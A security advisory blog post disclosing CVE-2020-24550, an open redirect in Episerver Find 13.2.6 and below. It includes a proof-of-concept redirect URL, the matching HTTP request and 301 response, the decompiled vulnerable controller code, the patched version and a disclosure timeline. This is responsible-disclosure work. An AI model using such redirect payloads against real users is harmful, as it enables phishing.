

CVE-2020-24550: Open Redirect in Episerver Find

By Tom Wedgby | February 11, 2021

During the course of our work, we discovered an open redirect vulnerability in [Episerver Find](#). This has been assigned CVE-2020-24550.

The Episerver platform includes content management, e-commerce functionality, marketing automation, and search and navigation capabilities. Episerver Find provides search functionality within this platform, and offers a .NET client API for developers.

Episerver Find 13.2.6 and below allows an attacker to redirect a user to an arbitrary website. An attacker could exploit this vulnerability to direct users to a malicious site using a link which appears to be legitimate.

Proof of Concept

Episerver Find passes untrusted user input from the `_t_redirect` URL parameter directly to a redirection function. This allows an attacker to specify an arbitrary URL within this parameter, to which the application will redirect the user.

The example below will redirect the user to <https://www.nettitude.com>.

```
https://(vulnerable)/find_v2/_click?_t_id=s_t_hit.id=s_t_redirect=https://www.nettitude.com
```

The following screenshot shows the HTTP request which occurs when the above link is clicked.

```
GET /EpiserverSite/find_v2/_click?_t_id=s_t_hit.id=s_t_redirect=https://www.nettitude.com HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

The response from the server is consequently as follows.

```
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Pragma: no-cache
Location: https://www.nettitude.com/
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 19 Jul 2020 17:02:02 GMT
Connection: close
Content-Length: 0
```

Affected Component

This vulnerability affects Episerver Find version 13.2.6 and below. The vulnerable package is available from the following URL.

Vulnerable release: <https://nuget.episerver.com/package/?id=EPiServer.Find&v=13.2.6>

The issue affects the `Index` action on the `Click` controller.

Affected method: `EPiServer.Find.UI.Controllers.ClickController.Index()`

Nettitude decompiled this method to determine the cause of the issue. As shown in the screenshot below, the application creates a 301 redirect (moved permanently) response, assigning the value of the `_t_redirect` parameter to the `Location` header.

```
[return]
public HttpResponseMessage Index(
    [From(Name = "t_id")] string id,
    [From(Name = "t_hit_id")] string query,
    [From(Name = "t_hit_id")] string hitId,
    [From(Name = "t_redirect")] string redirect,
    [From(Name = "t_hit_pos")] int? hitPos = null,
    [From(Name = "t_hit_tag")] string tag = ""
)
{
    Hit.HitFromData(id, query, hitId, hitPos, tag);
    HttpResponseMessage response = HttpResponseMessageExtensions.CreateResponse(301, get_request(), httpStatusCode.MovedPermanently);
    response.Headers.Location = new Uri(redirect);
    return response;
}
```

Conclusion

This vulnerability was patched in version 13.2.7 of Episerver Find. The Episerver team were responsive and effective during this disclosure process.

Patched release: <https://nuget.episerver.com/package/?id=EPiServer.Find&v=13.2.7>

To avoid this type of vulnerability, user input should be strictly validated before being passed to a redirect. Redirect URLs should be relative paths, and any external URLs should be validated against an allow list.

Timeline

The following is an overview of the disclosure timeline.

1. Patch available (version 13.2.7): 19 May 2020 – already patched
2. Discovered by Nettitude: 07 July 2020
3. Reported to vendor: 23 July 2020
4. CVE-2020-24550 assigned: 19 August 2020
5. Detailed disclosure: 11 Feb 2021


Search...

Projects

Check out our latest projects at
<https://github.com/nettitude>

Popular Recent

 **PoshC2 Improved HTML Reports**
January 5, 2021

 **VM Detection Tricks, Part 1: Physical memory resource maps**
January 20, 2021

 **Putting attackers in hi vis jackets with sysmon**
February 16, 2017

Share This Story, Choose Your Platform!




Related Posts



·  1

Popular document storage solution, ONL YOFF ICE, affected by multiple vulnerabilities. Our latest post by [@strawp](#) shows how to exploit this for unauthenticated remote code execution.



  1

 **Nettitud Labs ...**

 7

Highlights from Day 1 of [#Pwn2Own Toronto 2022](#): Connor

Ford
from

USEFUL LINKS

Download PoshC2
Vulnerability Research
Nettitude Cyber Security Tools
Red Team Training
Careers at Nettitude<

UK

1 Jephson Court
Trancred Close
Leamington Spa
Warwickshire
CV31 3RZ

AMERICAS

50 Broad Street
Suite 403
New York City
NY
10004

CONTACT US

Name * 

 Your name or handle*

Email address * 

 your@email.com*

Message * 

 Your message to Nettitude Labs.*

protected by reCAP

Send your message

NETTITUDE LABS PRESENTED BY

NETTITUDE
AN  COMPANY

EUROPE

Leof. Siggrou 348
Kallithea
Athens
Greece
176 74

ASIA

18 Cross Street
#02-101
Suite S2039
Singapore
048423

© Copyright Nettitude

Rock
s the
stag
e 